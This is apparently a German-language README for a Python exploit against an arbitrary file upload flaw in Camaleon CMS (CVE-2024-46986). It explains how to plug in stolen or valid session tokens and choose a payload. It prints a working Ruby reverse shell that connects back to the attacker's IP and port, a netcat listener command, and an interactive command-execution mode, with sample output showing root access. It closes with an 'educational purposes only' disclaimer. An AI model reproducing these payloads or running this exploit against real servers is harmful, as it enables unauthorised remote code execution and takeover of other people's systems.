
Automatisierter Python-Exploit für die beliebige Datei-Upload-Schwachstelle in Camaleon CMS (CVE-2024-46986). Unterstützt Payloads für Reverse Shell und Befehlsausführung für authentifizierte Remote-Codeausführung.
Dieses Repository enthält ein Python-Skript, das die Ausnutzung einer Dateiupload-Schwachstelle in Camaleon CMS automatisiert. Die Schwachstelle ermöglicht es einem Angreifer, beliebige Dateien (wie Ruby-Skripte) auf den Server hochzuladen, was potenziell zu Remote-Code-Ausführung (RCE) oder anderen schwerwiegenden Sicherheitsauswirkungen führen kann.
requests-Bibliothek.auth_token und die _cms_session eines gültigen Benutzers.requests-Bibliothek: Installieren Sie die requests-Bibliothek, falls noch nicht geschehen.pip install requests
Repository klonen:
https://github.com/vidura2/CVE-2024-46986.git
cd CVE-2024-46986
your_auth_token_here, your_session_token_here und https://target_site_here im Python-Skript durch tatsächliche Werte.your_ip und your_port durch Ihre IP-Adresse und den Port, auf dem Sie einen Listener einrichten.payload_type im Skript auf "reverse_shell".payload_type auf "command_execution". Sie können dann wiederholt Befehle zur Ausführung auf dem Zielserver eingeben.python exploit_camaleon.py
Wenn Sie den Befehlsausführungs-Payload verwenden, können Sie mehrere Befehle eingeben:
Enter a system command to execute (or type 'exit' to quit): whoami
Enter a system command to execute (or type 'exit' to quit): ls
Enter a system command to execute (or type 'exit' to quit): exit
Payload-Typen
Der Reverse-Shell-Payload stellt eine Verbindung zum Rechner des Angreifers her und ermöglicht Remote-Code-Ausführung auf dem Server.
Ändern Sie IP und Port im Ruby-Skript innerhalb des Python-Codes.
Beispiel-Payload:
ruby
require 'socket' s = TCPSocket.open('your_ip', your_port) while (cmd = s.gets) IO.popen(cmd, 'r') do |io| s.print io.read end end
Richten Sie einen Listener auf Ihrem Rechner mit netcat ein:
bash
nc -lvnp <your_port>
2. Befehlsausführung
Dieser Payload lädt ein Ruby-Skript hoch, das Systembefehle (z.B. whoami) auf dem Server ausführt. Sie können während der Ausführung wiederholt Befehle eingeben.
Das Skript wird solange nach Befehlen fragen, bis Sie 'exit' eingeben.
Beispiel:
ruby
system("whoami")
Beispiel eines erfolgreichen Exploits
Nach erfolgreicher Ausführung des Exploits sollte eine Erfolgsmeldung im Terminal erscheinen:
python
Exploit executed successfully with payload type: reverse_shell!
Wenn Sie die Reverse Shell verwenden, sollte der netcat-Listener Ihnen Zugriff auf die Shell des kompromittierten Servers geben.
Für den Befehlsausführungs-Payload:
bash
Enter a system command to execute (or type 'exit' to quit): whoami Command 'whoami' executed successfully! Response: root
Dieses Skript ist nur für Bildungszwecke gedacht. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch diesen Exploit verursacht werden. Stellen Sie immer sicher, dass Sie die Erlaubnis haben, bevor Sie Schwachstellen testen oder ausnutzen.
Zögern Sie nicht, Issues oder Pull-Requests für Verbesserungen oder zusätzliche Funktionen einzureichen!
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.